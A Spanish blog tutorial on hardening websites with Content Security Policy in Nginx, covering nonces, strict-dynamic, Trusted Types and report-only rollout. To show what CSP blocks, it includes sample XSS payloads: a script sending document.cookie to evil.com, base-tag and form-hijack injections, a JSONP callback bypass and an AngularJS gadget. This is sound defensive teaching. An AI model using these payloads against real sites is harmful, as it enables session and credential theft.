Volver al Blog
José Manuel Requena Plens

Content Security Policy (CSP) con Nginx: La Guía Completa

Domina Content Security Policy de cero a A+ — nonces, hashes, strict-dynamic, Trusted Types, prevención de bypass y configuraciones Nginx en producción.

Imagen de portada de Content Security Policy (CSP) con Nginx: La Guía Completa

Cross-Site Scripting (XSS) sigue siendo una de las vulnerabilidades web más devastadoras, apareciendo sistemáticamente en el Top 10 de OWASP y representando aproximadamente el 40 % de todos los problemas de seguridad reportados en aplicaciones web. Según la investigación de seguridad de Google, incluso los sitios web con CSP a menudo fallan en implementarla correctamente: el 94,72 % de las CSP basadas en allowlist se pueden eludir.

Content Security Policy (CSP) es tu defensa a nivel de navegador contra estos ataques. Piensa en ella como una estricta “lista de invitados” para tu sitio web: le indicas al navegador explícitamente qué recursos (scripts, estilos, imágenes) pueden ejecutarse. Todo lo que no esté en la lista se bloquea, incluso si un atacante consigue inyectar código malicioso.

Esta guía te lleva desde cero hasta una configuración CSP lista para producción con calificación A+. Aprenderás no solo el “cómo” sino el “por qué” detrás de cada directiva, comprenderás las técnicas modernas de bypass y cómo prevenirlas, y descubrirás temas avanzados como Trusted Types para la prevención de XSS basado en DOM.

Lo que aprenderás
  • Empieza con una línea: default-src 'self' te ofrece protección inmediata
  • Usa nonces, no allowlists: el 94,72 % de las CSP basadas en allowlist se pueden eludir; los nonces son criptográficamente seguros
  • Los sitios estáticos pueden usar nonces: el sub_filter de Nginx reemplaza placeholders en cada petición
  • Adopta strict-dynamic: la confianza se propaga desde los scripts con nonce a los cargados dinámicamente
  • Incluye hardening de seguridad: object-src 'none' y base-uri 'none' son obligatorios para una CSP estricta
  • Trusted Types: la siguiente evolución para la prevención de XSS basado en DOM (CSP Level 3)
  • Despliega de forma segura: empieza siempre en modo report-only antes de aplicar la política

La evolución de CSP

Content Security Policy ha evolucionado significativamente desde su introducción. Comprender esta evolución te ayuda a valorar por qué existen los enfoques modernos de “CSP estricta”.

  1. X-Content-Security-Policy

    Mozilla presenta la primera implementación de CSP como cabecera experimental. Blog de Seguridad de Mozilla

  2. Hito CSP Level 1

    El W3C estandariza CSP con directivas fetch básicas (script-src, style-src, etc.). Especificación W3C CSP 1.0

  3. Hito CSP Level 2

    Introduce nonces, hashes y frame-ancestors. 'unsafe-inline' puede anularse con nonces. W3C CSP Level 2

  4. Obsoleto Investigación de Google

    Google publica 'CSP Is Dead, Long Live CSP' demostrando que el 94,72 % de las CSP basadas en allowlist se pueden eludir. Artículo de investigación

  5. Estándar strict-dynamic

    Nueva keyword que permite a los scripts de confianza cargar dependencias sin necesidad de allowlist explícito. MDN strict-dynamic

  6. Hito CSP Level 3 (Working Draft)

    Introduce Trusted Types, report-to y soporte mejorado para WebAssembly. W3C CSP Level 3

  7. Estándar Adopción de Trusted Types

    El soporte en navegadores madura; las empresas comienzan a adoptarlo para la prevención de DOM-XSS. web.dev Trusted Types


Tu primera CSP en 5 minutos

Vamos a poner en marcha una CSP funcional ahora mismo. Abre tu configuración de Nginx y añade esta única cabecera:

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # Your first CSP - allow resources only from your own domain
    add_header Content-Security-Policy "default-src 'self'" always;
    
    # ... rest of your config
}

Comprueba tu configuración y recarga Nginx:

sudo nginx -t && sudo systemctl reload nginx

¡Eso es todo! Ahora tienes una CSP funcional. Abre las DevTools de tu navegador (F12 → Consola) para ver las violaciones:

Refused to load the script ‘https://cdn.example.com/analytics.js’ because it violates the following Content Security Policy directive: “default-src ‘self’”.


Entendiendo CSP: el concepto de lista blanca

CSP funciona definiendo lo que se permite, no lo que se bloquea. Piensa en ella como una lista VIP en un evento exclusivo: solo los recursos que figuran en la lista pueden entrar.

Navegador

✓ Permitido

✗ Bloqueado

Política CSP

Tus scripts

(self)

Scripts de CDN

(externos)

Scripts inline

()

Scripts XSS

inyectados

Ejecutar

Rechazar

CSP actúa como un guardián para todos los recursos del navegador

Por qué CSP importa: el principio de defensa en profundidad

Sin CSP, si un atacante inyecta <script>stealCookies()</script> en tu página (a través de un formulario de comentarios, un parámetro de URL o la base de datos), el navegador lo ejecuta sin problemas: no tiene forma de distinguir scripts legítimos de maliciosos.

Con CSP, el navegador verifica cada recurso contra tu política antes de ejecutarlo. Si los scripts inline no están explícitamente permitidos, el ataque se neutraliza a nivel de navegador.


Cómo funcionan los ataques XSS (y cómo CSP los detiene)

Para entender el valor de CSP, vamos a trazar un ataque XSS típico:

Servidor del atacanteNavegador de la víctimaTu sitio webAtacanteServidor del atacanteNavegador de la víctimaTu sitio webAtacanteComentario guardado en BD(sin sanitización)Navegador ve la etiqueta <script>y la ejecutaEl atacante ahora tienela sesión de la víctimaEnvía comentario maliciosocon etiqueta scriptVisita la página con comentariosHTML con script inyectadoEl script envía cookies/tokensde sesión al atacante
Flujo de ataque XSS sin protección CSP

Desglose paso a paso

  1. Inyección: el atacante envía un comentario que contiene:

    <script>fetch('https://evil.com?c='+document.cookie)</script>
  2. Almacenamiento: el sitio web lo guarda en la base de datos sin una sanitización adecuada

  3. Entrega: cuando otro usuario ve la página, el script malicioso se sirve como parte del HTML

  4. Ejecución: el navegador ve una etiqueta <script> y la ejecuta sin hacer preguntas

  5. Exfiltración: el script envía las cookies de sesión al servidor del atacante

Cómo CSP rompe la cadena

Con CSP (script-src 'self'), el paso 4 falla. El navegador comprueba: “¿Es un script inline? ¿Está 'unsafe-inline' permitido?” Como los scripts inline están bloqueados por defecto, el ataque se neutraliza:

Refused to execute inline script because it violates the following Content Security Policy directive: “script-src ‘self’”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-…’), or a nonce (‘nonce-…’) is required to enable inline execution.


Vectores de ataque que CSP previene

CSP aborda múltiples categorías de amenazas. Así es como las diferentes directivas crean defensa en profundidad:

Amenazas comunes mitigadas por CSP
AmenazaVector de ataqueDefensa CSP
XSS reflejadoScripts inyectados mediante parámetros de URLscript-src sin ‘unsafe-inline’
XSS almacenadoScripts inyectados mediante contenido de BDscript-src con nonces/hashes
XSS basado en DOMAbuso de eval(), innerHTMLscript-src sin ‘unsafe-eval’ + Trusted Types
Exfiltración de datosXHR/fetch a servidores del atacanteconnect-src ‘self’
ClickjackingSitio enmarcado por una página maliciosaframe-ancestors ‘none’
Contenido mixtoRecursos HTTP en páginas HTTPSupgrade-insecure-requests
Ataques mediante pluginsExploits de Flash, Java, PDFobject-src ‘none’
Secuestro de formulariosFormularios inyectados para robar credencialesform-action ‘self’
Inyección de etiqueta baseRedirección de URLs relativas al atacantebase-uri ‘none’

Directivas CSP: aprende haciendo

En lugar de memorizar tablas, vamos a aprender cada directiva añadiéndola a nuestra política de forma progresiva.

1. default-src: el fallback

Esta es la directiva comodín. Si no especificas una directiva para un tipo de recurso, se aplica default-src.

default-src CSP Level 1 MDN
Sintaxis default-src <source-list>
Predeterminado * (permitir todo)

Fallback para todas las directivas fetch no especificadas. Establécela de forma restrictiva y añade directivas específicas según sea necesario.

Buena práctica: establece default-src 'none' y permite explícitamente lo que necesites. Este es el enfoque “denegar por defecto” que recomiendan los profesionales de seguridad.

NGINXDirectiva default-src
# Block everything by default - explicitly allow what you need
Content-Security-Policy: default-src 'none';

2. script-src: la directiva más crítica

Controla qué scripts pueden ejecutarse en tu página. Si te equivocas aquí, toda tu CSP es prácticamente inútil.

script-src CSP Level 1 MDN
Sintaxis script-src <source-list>
Predeterminado Recurre a default-src

Especifica las fuentes válidas para JavaScript. Es la directiva más importante para la protección contra XSS.

Valores de origen de script-src
ValorSignificadoSeguridad
’self’Solo mismo origen (esquema + host + puerto)Seguro
’none’Bloquea todos los scripts completamenteMáximo
’nonce-{random}‘Permite scripts con atributo nonce coincidenteRecomendado
’sha256-{hash}‘Permite scripts con hash de contenido coincidenteFuerte
’strict-dynamic’La confianza se propaga a scripts cargados dinámicamenteFuerte
https://cdn.example.comPermite scripts de un dominio específicoDébil (eludible)
‘unsafe-inline’Permite todos los scripts inlinePeligroso
’unsafe-eval’Permite eval(), Function(), etc.Peligroso

3. style-src: control de CSS

style-src CSP Level 1 MDN
Sintaxis style-src <source-list>
Predeterminado Recurre a default-src

Especifica las fuentes válidas para hojas de estilo. Menos crítica que script-src pero igualmente importante para una protección integral.

NGINXstyle-src con unsafe-inline
# Allow styles from same origin + inline styles
style-src 'self' 'unsafe-inline';

4. Directivas de recursos

# Allow images from same origin + data: URIs (for base64)
img-src 'self' data:;

data: suele necesitarse para imágenes codificadas en base64, iconos SVG o imágenes placeholder.

# Allow fonts from same origin only
font-src 'self';

# Or allow Google Fonts
font-src 'self' https://fonts.gstatic.com;
# Restrict XHR/Fetch/WebSocket destinations
# Critical for preventing data exfiltration
connect-src 'self' https://api.example.com;

Esto controla a dónde puede enviar datos JavaScript. Es crítico para evitar que se envíen datos robados a servidores del atacante.

# Audio and video sources
media-src 'self';
# Web Workers and Service Workers
worker-src 'self';

# For sites using blob: URLs for workers
worker-src 'self' blob:;

Controla las fuentes para scripts de Worker, SharedWorker y ServiceWorker. Si no se especifica, recurre a script-src como fallback.

5. Directivas de hardening de seguridad

A menudo se pasan por alto pero son obligatorias para una CSP estricta:

object-src 'none' — Bloquear plugins

Los plugins como Flash y Java han sido históricamente vectores de vulnerabilidades importantes. Aunque Flash está obsoleto, bloquear object-src previene cualquier ataque basado en plugins:

NGINXDirectiva object-src
# Block all plugins (Flash, Java, Silverlight, PDF viewers)
object-src 'none';

base-uri 'none' — Prevenir la inyección de etiqueta base

La etiqueta <base> define una URL base para todas las URLs relativas de un documento. Si un atacante inyecta una etiqueta <base>, puede redirigir todas tus URLs relativas a su servidor:

Ataque sin base-uri
<!-- Attacker injects this -->
<base href="https://evil.com/">

<!-- Your existing code now loads from attacker! -->
<script src="/js/app.js"></script>
<!-- Loads https://evil.com/js/app.js -->
Con base-uri 'none'
Content-Security-Policy: base-uri 'none'

<!-- Injection attempt blocked! -->
Refused to set the document's base URI to 
'https://evil.com/' because it violates CSP.

frame-ancestors 'none' — Protección contra clickjacking

Impide que tu sitio se incruste en iframes en otros sitios:

NGINXDirectiva frame-ancestors
# Don't allow embedding anywhere (replaces X-Frame-Options)
frame-ancestors 'none';

# Or allow embedding only on your own domain
frame-ancestors 'self';

form-action 'self' — Controlar el envío de formularios

Impide que los atacantes inyecten formularios que envían datos a sus servidores:

NGINXDirectiva form-action
# Forms can only submit to your own domain
form-action 'self';

Construyendo tu CSP capa a capa

En lugar de escribir una CSP perfecta de golpe (lo que lleva a la frustración), vamos a construirla de forma progresiva. Cada capa añade protección, y puedes detenerte en cualquier nivel según tus necesidades.

Niveles de seguridad CSP
NivelAdición a la políticaProtección añadida
0Sin CSPNinguna — completamente expuesto a XSS
1default-src ‘none’Bloquea todo por defecto
2+ script-src ‘self’Solo se ejecutan tus scripts
3+ style-src, img-src, font-srcControla los recursos visuales
4+ connect-src ‘self’; object-src ‘none’Limita la exfiltración de datos, bloquea plugins
5+ base-uri ‘none’; frame-ancestors ‘none’Previene inyección y clickjacking
6+ form-action ‘self’; upgrade-insecure-requestsProtección base completa

Nivel 6: una CSP base sólida

Así es como se ve el Nivel 6 en la práctica:

/​etc/​nginx/​sites-available/​example.com
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
" always;

El reto de los scripts inline

La mayoría de sitios web tienen scripts inline como este:

HTMLScript inline típico
<script>
  // Theme detection - runs before page renders
  const theme = localStorage.getItem('theme') || 'system';
  document.documentElement.classList.add(theme);
</script>

Con script-src 'self', esto se bloquea. Tienes tres soluciones:

Comparación de soluciones para scripts inline
SoluciónIdeal paraVentajasInconvenientes
Archivos externosCasos sencillosSin nonces/hashes; cacheablePetición HTTP extra; no puede ejecutarse antes del render
HashesScripts estáticosFunciona con contenido estático; sin cambios en el servidorHay que regenerarlo con cada cambio en el script
NoncesTodos los casosMáxima flexibilidad; recomendado por GoogleRequiere nonce del servidor (truco Nginx para sitios estáticos)

Solución 1: mover a archivos externos

El enfoque más limpio — mover el código inline a archivos .js:

Inline (bloqueado por CSP)
<head>
  <script>
    initTheme();
  </script>
</head>
Externo (permitido)
<head>
  <script src="/js/theme.js"></script>
</head>

Solución 2: usar hashes

Genera un hash SHA-256 del contenido de tu script y añádelo a tu CSP. Pruébalo tú mismo:

Genera el hash de tu script
Hashes generados
SHA-256 Recomendado
Calculando...
SHA-384
Calculando...
SHA-512
Calculando...
Directiva CSP (usando SHA-256)
Calculando...
HTML con script correspondiente:
...
Cómo funciona: El navegador calcula el hash del contenido de tu script en línea (excluyendo las etiquetas <script>) y lo compara con el hash en tu cabecera CSP. Si coinciden, el script se ejecuta. Cualquier cambio en el script, incluso espacios en blanco, invalida el hash. Se recomienda SHA-256 por su amplia compatibilidad.

Limitación: debes regenerar el hash cada vez que cambie el contenido del script — incluso añadir un espacio lo invalidará.

Solución 3: usar nonces

Añade un token aleatorio tanto a la cabecera CSP como a tus etiquetas de script:

Content-Security-Policy: 
  script-src 'self' 'nonce-abc123def456';
<script nonce="abc123def456">
  const theme = localStorage.getItem('theme');
  document.documentElement.classList.add(theme);
</script>

Fundamental: el nonce debe ser:

  • Criptográficamente aleatorio (al menos 128 bits / 16 bytes)
  • Único por petición (nunca reutilices nonces)
  • Codificado (base64 o hex — el $request_id de Nginx usa hex, que es válido según la especificación CSP)

Nonces para sitios estáticos: el truco de Nginx

Este es el reto: los generadores de sitios estáticos (Astro, Next.js, Hugo) construyen el HTML en tiempo de build. Pero los nonces deben ser únicos por petición. ¿Cómo puede un HTML estático contener nonces dinámicos?

La solución: sustitución de placeholders

NavegadorNginxHTML en discoTiempo de buildNavegadorNginxHTML en discoTiempo de buildPlaceholder almacenadoLos nonces coinciden ✓El script se ejecutaHTML con placeholdernonce="CSP_NONCE_NGINX"GET /page.htmlGenera nonce único($request_id)Reemplaza placeholdercon nonce realHTML + cabecera CSPcon nonce coincidente
Inyección de nonce con Nginx para sitios estáticos

Paso 1: usa placeholders en tus plantillas

En tus plantillas, usa un placeholder que Nginx reemplazará:

src/​layouts/​BaseLayout.astro
---
// Layout component
---
<html>
  <head>
    <!-- Nginx will replace this placeholder -->
    <script is:inline nonce="CSP_NONCE_NGINX">
      const theme = localStorage.getItem('theme') || 'system';
      document.documentElement.dataset.theme = theme;
    </script>
  </head>
  <body>
    <slot />
  </body>
</html>

Paso 2: configura Nginx

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # ================================================
    # STEP 1: Generate unique nonce per request
    # ================================================
    # $request_id = 32-char hex string (128 bits entropy)
    set $cspNonce $request_id;

    # ================================================
    # STEP 2: Replace placeholder with real nonce
    # ================================================
    # NOTE: sub_filter requires uncompressed responses.
    # For proxied backends, add: proxy_set_header Accept-Encoding "";
    # For static files, ensure gzip is disabled or applied after sub_filter.
    sub_filter_once off;  # Replace ALL occurrences
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;

    # ================================================
    # STEP 3: Set CSP header with same nonce
    # ================================================
    add_header Content-Security-Policy "
        default-src 'none';
        script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
        style-src 'self' 'unsafe-inline';
        img-src 'self' data:;
        font-src 'self';
        connect-src 'self';
        object-src 'none';
        base-uri 'none';
        frame-ancestors 'none';
        form-action 'self';
        upgrade-insecure-requests;
    " always;
    
    # ... rest of config
}

Lo que el navegador ve

<!-- Static file on disk -->
<script nonce="CSP_NONCE_NGINX">
  const theme = localStorage.getItem('theme');
</script>
HTTP/2 200 OK
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5f6...' ...
<!-- What browser actually receives -->
<script nonce="a1b2c3d4e5f6...">
  const theme = localStorage.getItem('theme');
</script>

Modo estricto con 'strict-dynamic'

La keyword 'strict-dynamic' es revolucionaria: permite que los scripts cargados por scripts de confianza también se ejecuten, sin necesitar sus propios nonces.

Sin confianza (Bloqueado)

Cadena de confianza (Permitido)

Política CSP

Crea

Carga

Valida

Sin coincidencia

Sin coincidencia

Nonce en cabecera

'nonce-abc123'

Script con

nonce=abc123

createElement('script')

(sin nonce necesario)

Librería cargada

dinámicamente

Script XSS

inyectado

Event handler

onclick=...

Bloqueado

Propagación de confianza con strict-dynamic

Cómo funciona

HTMLEjemplo de propagación de confianza
<!-- This script has a valid nonce -->
<script nonce="abc123">
  // This dynamically created script ALSO runs
  // because it inherits trust from the parent
  const script = document.createElement('script');
  script.src = 'https://cdn.example.com/analytics.js';
  document.head.appendChild(script);
</script>

Cuándo usar 'strict-dynamic'

Casos de uso de strict-dynamic
Escenario¿Usar strict-dynamic?Razón
SPA con code splittingWebpack/Vite cargan chunks dinámicamente
Analytics (GA, Segment)Los scripts de analytics suelen cargar scripts adicionales
Widgets de tercerosLos widgets de chat y embeds cargan sus propias dependencias
Sitio estático simpleOpcionalSi todos los scripts están en el HTML, los nonces por sí solos son suficientes
Sin JavaScriptNoUsa script-src ‘none’ en su lugar

La fórmula de CSP estricta

Según la investigación de Google, una “CSP estricta” que realmente proteja contra XSS requiere estos elementos:

Requisitos de CSP estricta
  • Usa nonces o hashes en lugar de allowlists de dominios
  • Incluye 'strict-dynamic' para la carga dinámica de scripts
  • Establece object-src 'none' para bloquear plugins
  • Establece base-uri 'none' para prevenir la inyección de etiquetas base

La plantilla

NGINXPlantilla de CSP estricta
# The three essential directives for strict CSP
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';

Por qué las allowlists no funcionan

Los vectores de bypass más comunes incluyen:

  • Endpoints JSONP en CDNs de confianza
  • Redirecciones abiertas en dominios permitidos
  • Inyección de plantillas de AngularJS en orígenes permitidos
  • Contenido subido por usuarios servido desde dominios permitidos

Interactivo: Construye tu CSP

Usa este constructor interactivo para crear una política y ver tu puntuación de seguridad en tiempo real:

Constructor de políticas CSP
Presets rápidos
Directivas principales
default-src Estricto Bloquear todos los recursos por defecto (enfoque denegar por defecto) 'none'
script-src Estricto Permitir scripts del mismo origen con nonce 'self' 'nonce-{RANDOM}'
style-src Permitir estilos del mismo origen + estilos en línea 'self' 'unsafe-inline'
Endurecimiento de seguridad
object-src Estricto Bloquear plugins (Flash, Java) — Requerido para CSP estricto 'none'
base-uri Estricto Prevenir inyección de etiqueta base — Requerido para CSP estricto 'none'
frame-ancestors Sin Meta Prevenir clickjacking (reemplaza X-Frame-Options) 'none'
form-action Restringir envíos de formularios al mismo origen 'self'
frame-src Controlar fuentes de frames e iframes 'self'
sandbox Sin Meta Aplicar restricciones sandbox (como iframe sandbox) allow-scripts allow-same-origin
Control de recursos
img-src Permitir imágenes del mismo origen + URIs de datos 'self' data:
font-src Permitir fuentes del mismo origen 'self'
connect-src Restringir conexiones XHR/Fetch/WebSocket 'self'
media-src Permitir audio/vídeo del mismo origen 'self'
worker-src Permitir Web Workers del mismo origen 'self'
child-src Controlar workers y contextos de navegación anidados 'self'
manifest-src Controlar fuentes del manifiesto de la aplicación web 'self'
Opciones avanzadas
strict-dynamic Confiar en scripts cargados por scripts de confianza (añadir a script-src)
upgrade-insecure-requests Actualizar automáticamente HTTP a HTTPS
block-all-mixed-content Obsoleto Bloquear todos los recursos HTTP en páginas HTTPS
require-trusted-types-for Requerir Trusted Types para sumideros DOM XSS 'script'
report-to Sin Meta Endpoint de informes moderno (usar con la cabecera Reporting-Endpoints) csp-endpoint
report-uri Obsoleto Sin Meta Endpoint de informes de violaciones (obsoleto, usar report-to) /csp-reports
Política generada
Content-Security-Policy: ...
Nivel de seguridad: ...
Habilita script-src con nonce, object-src 'none' y base-uri 'none' para el CSP estricto recomendado por Google.

Técnicas de bypass de CSP y prevención

Entender cómo los atacantes eluden la CSP te ayuda a evitar errores comunes.

1. Endpoints JSONP

Los endpoints JSONP ejecutan callbacks controlados por el usuario, lo que los convierte en un vector de bypass clásico:

Vulnerable
# CSP trusts all of cdn.example.com
script-src 'self' https://cdn.example.com;
<!-- Attacker exploits JSONP endpoint -->
<script src="https://cdn.example.com/api?callback=alert(1)//"></script>
Protegido
# Use nonces instead of domain allowlists
script-src 'nonce-$cspNonce' 'strict-dynamic';
<!-- JSONP has no nonce - blocked! -->
<script src="https://cdn.example.com/api?callback=alert"></script>
<!-- Refused to execute script... -->

2. Secuestro de formularios

Los atacantes pueden inyectar formularios para robar credenciales si no se establece form-action:

HTMLAtaque de secuestro de formularios
<!-- Attacker injects this before your login form -->
<form action="https://evil.com/steal">
  <!-- Your existing input fields get captured -->
</form>

<!-- Without form-action, the browser allows submission to evil.com! -->

Prevención:

form-action 'self';

3. Inyección de etiqueta base

HTMLAtaque con etiqueta base
<!-- Attacker injects this early in the document -->
<base href="https://evil.com/">

<!-- All your relative URLs now resolve to evil.com -->
<script src="/js/app.js"></script>  <!-- Loads https://evil.com/js/app.js -->
<img src="/images/logo.png">        <!-- Loads https://evil.com/images/logo.png -->
<a href="/login">Login</a>          <!-- Links to https://evil.com/login -->

Prevención:

base-uri 'none';

4. Script gadgets en bibliotecas permitidas

Algunas bibliotecas importantes contienen patrones que pueden explotarse para XSS cuando dicha biblioteca está permitida por CSP:

Según la investigación de Sebastian Lekies et al., las bibliotecas más comunes contienen patrones explotables:

Script gadgets en bibliotecas populares
BibliotecaTipo de gadgetVector de ataqueRiesgo
AngularJS (1.x)Inyección de plantillasng-app + {{constructor.constructor(‘alert(1)’)()}}Crítico
jQuery (<3.0)XSS basado en selectores$(location.hash) con entrada del usuarioAlto
Require.jsImports dinámicosRutas de módulos controladas por el atacanteMedio
Dojo ToolkitCarga de módulosrequire() con entrada del usuarioMedio
Google ClosureSistema de plantillasRenderizado inseguro de plantillasMedio

5. object-src ausente

Sin object-src 'none', los atacantes pueden usar plugins para ejecutar código:

HTMLXSS basado en objetos
<!-- Flash-based XSS (legacy but still seen) -->
<object data="data:application/x-shockwave-flash;base64,..." 
        type="application/x-shockwave-flash">
</object>

<!-- PDF with JavaScript -->
<embed src="malicious.pdf" type="application/pdf">

Prevención:

object-src 'none';

Trusted Types: La siguiente evolución

Mientras que la CSP tradicional previene la inyección de etiquetas <script>, no protege contra XSS basado en DOM donde JavaScript escribe directamente en sinks peligrosos:

JAVASCRIPTVulnerabilidad de XSS basado en DOM
// These are dangerous DOM sinks
element.innerHTML = userInput;           // XSS if userInput contains HTML
location.href = userInput;               // Open redirect/XSS
document.write(userInput);               // XSS
eval(userInput);                         // Remote code execution

Trusted Types obliga a los desarrolladores a sanitizar los datos antes de pasarlos a estos sinks.

Trusted Types es experimental pero está madurando

Trusted Types es experimental .

Cómo funcionan los Trusted Types

Entrada del usuario

innerHTML

XSS ejecutado

Entrada del usuario

Política de

sanitización

TrustedHTML

innerHTML

Seguro

Trusted Types impone la sanitización en los sinks del DOM

Activar Trusted Types

nginx.conf (CSP con Trusted Types)
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    
    # Trusted Types enforcement
    require-trusted-types-for 'script';
    trusted-types default;
" always;

Crear una política de Trusted Types

JAVASCRIPTPolítica de sanitización con Trusted Types
// Create a policy that sanitizes HTML
if (window.trustedTypes && trustedTypes.createPolicy) {
  const sanitizerPolicy = trustedTypes.createPolicy('default', {
    createHTML: (input) => {
      // Use DOMPurify or similar sanitizer
      return DOMPurify.sanitize(input);
    },
    createScriptURL: (input) => {
      // Only allow same-origin URLs
      const url = new URL(input, window.location.origin);
      if (url.origin !== window.location.origin) {
        throw new Error('Cross-origin scripts not allowed');
      }
      return url.href;
    }
  });
}

// Now innerHTML requires TrustedHTML
element.innerHTML = userInput;  // TypeError: requires TrustedHTML
element.innerHTML = sanitizerPolicy.createHTML(userInput);  // Works!

Avanzado: CSP por endpoint

Diferentes partes de tu sitio pueden necesitar políticas distintas:

  • Paneles de administración: CSP más estricta
  • Endpoints de API: No se necesita CSP (el JSON no se ejecuta)
  • Assets estáticos: Relajada para previsualizaciones en redes sociales
  • Páginas con contenido generado por usuarios: Restricciones adicionales

Implementación

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # Default: strict CSP for HTML pages
    location / {
        try_files $uri $uri/ =404;
        include /etc/nginx/snippets/security-headers-strict.conf;
    }
    
    # API: no CSP needed for JSON
    location /api/ {
        proxy_pass http://backend;
        # No CSP header - JSON isn't executed by browsers
    }
    
    # Assets: relaxed for social media crawlers
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable";
        include /etc/nginx/snippets/security-headers-assets.conf;
    }
}
# /etc/nginx/snippets/security-headers-strict.conf
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
" always;

# Prevent embedding
add_header Cross-Origin-Resource-Policy "same-origin" always;
# /etc/nginx/snippets/security-headers-assets.conf
add_header Content-Security-Policy "
    default-src 'none';
    img-src 'self';
    font-src 'self';
" always;

# Allow social media to fetch images for previews
add_header Cross-Origin-Resource-Policy "cross-origin" always;

Migración: de Report-Only a aplicación

Nunca despliegues una CSP estricta directamente en producción. Utiliza un enfoque por fases:

Proceso seguro de migración de CSP
  1. Desplegar en modo report-only (1-2 semanas)

    Usa Content-Security-Policy-Report-Only para registrar violaciones sin bloquear nada. Monitoriza tus logs para entender qué se rompería.

  2. Analizar y corregir violaciones

    Revisa los informes y soluciona los problemas:

    • Inline event handlers → addEventListener()
    • Llamadas a eval()JSON.parse() o refactorización
    • Nonces faltantes en scripts inline
    • Scripts de terceros que necesitan strict-dynamic
  3. Activar la aplicación gradualmente

    Cambia de Report-Only a Content-Security-Policy. Mantén una cabecera report-only para probar futuras políticas más estrictas.

Fase 1: Report-Only

NGINXModo report-only
# Logs violations but doesn't block anything
add_header Content-Security-Policy-Report-Only "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
    report-uri /csp-reports;
" always;

Fase 2: Corregir problemas comunes

Problemas comunes a corregir
  • Inline event handlers → Convertir onclick="..." a addEventListener()
  • Uso de eval() → Reemplazar con JSON.parse() o refactorizar
  • Nonces faltantes → Añadir nonce="CSP_NONCE_NGINX" a los scripts inline
  • Scripts de terceros → Verificar que 'strict-dynamic' los cubre
  • Estilos inline en JS → Usar clases CSS o CSS custom properties

Fase 3: Aplicar

NGINXModo de aplicación
# Now blocking violations
add_header Content-Security-Policy "..." always;

# Optional: keep report-only for testing stricter future policies
add_header Content-Security-Policy-Report-Only "...even-stricter-policy..." always;

Configurar el reporting de CSP

El reporting integrado de CSP te informa cuando se producen violaciones — es esencial para la depuración y la detección de ataques.

report-uri está obsoleto

report-uri está obsoleto .

Usar en su lugar: report-to

Opción 1: Logging simple con Nginx

/​etc/​nginx/​sites-available/​example.com
# Reporting endpoint
location /csp-reports {
    access_log /var/log/nginx/csp-reports.log;
    return 204;
}
Cabecera CSP con reporting
# Modern Reporting API (Chrome 70+)
add_header Reporting-Endpoints 'csp-endpoint="/csp-reports"' always;

# CSP with both legacy and modern reporting
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
    report-uri /csp-reports;
    report-to csp-endpoint;
" always;

Opción 2: Servicios de terceros

Servicios como Report URI proporcionan dashboards y análisis:

NGINXReporting con servicio externo
report-uri https://your-subdomain.report-uri.com/r/d/csp/enforce;
report-to csp-endpoint;

Formato del informe de violación

Los navegadores envían informes JSON como este:

csp-violation-report.json
{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "blocked-uri": "https://evil.com/script.js",
    "violated-directive": "script-src-elem",
    "effective-directive": "script-src-elem",
    "original-policy": "script-src 'nonce-abc123' 'strict-dynamic'",
    "disposition": "enforce",
    "status-code": 200,
    "script-sample": "",
    "line-number": 42,
    "column-number": 15,
    "source-file": "https://example.com/page"
  }
}

Refactorizar código para CSP

Algunos patrones comunes son incompatibles con una CSP estricta. Así es como se corrigen:

Inline event handlers → addEventListener

Bloqueado por CSP
<button onclick="submitForm()">Submit</button>
<a href="javascript:doSomething()">Click</a>
<form onsubmit="validate()">...</form>
Compatible con CSP
<button id="submitBtn">Submit</button>
<a href="#" id="actionLink">Click</a>
<form id="myForm">...</form>

<script nonce="CSP_NONCE_NGINX">
  document.getElementById('submitBtn')
    .addEventListener('click', submitForm);
  
  document.getElementById('actionLink')
    .addEventListener('click', (e) => {
      e.preventDefault();
      doSomething();
    });
  
  document.getElementById('myForm')
    .addEventListener('submit', validate);
</script>

eval() → JSON.parse()

Usa eval() - Bloqueado
// Dangerous - blocked by CSP
const data = eval('(' + jsonString + ')');
setTimeout('doSomething()', 1000);
const fn = new Function('x', 'return x * 2');
Usa JSON.parse() - Permitido
// Safe - works with strict CSP
const data = JSON.parse(jsonString);
setTimeout(doSomething, 1000);
const fn = (x) => x * 2;

Estilos inline en JS → CSS custom properties

Usando setAttribute (puede ser bloqueado)
// setAttribute('style', ...) can be blocked by style-src
element.setAttribute('style', 'color:' + color);
// Note: element.style.property = value is NOT blocked by CSP,
// but using CSS custom properties is more maintainable
CSS Custom Properties
// Works with strict CSP and is more maintainable
element.style.setProperty('--user-color', userColor);
element.classList.add('highlighted');
.highlighted {
  background: var(--user-color, #fff);
}

Pruebas y validación

Herramientas de desarrollo del navegador

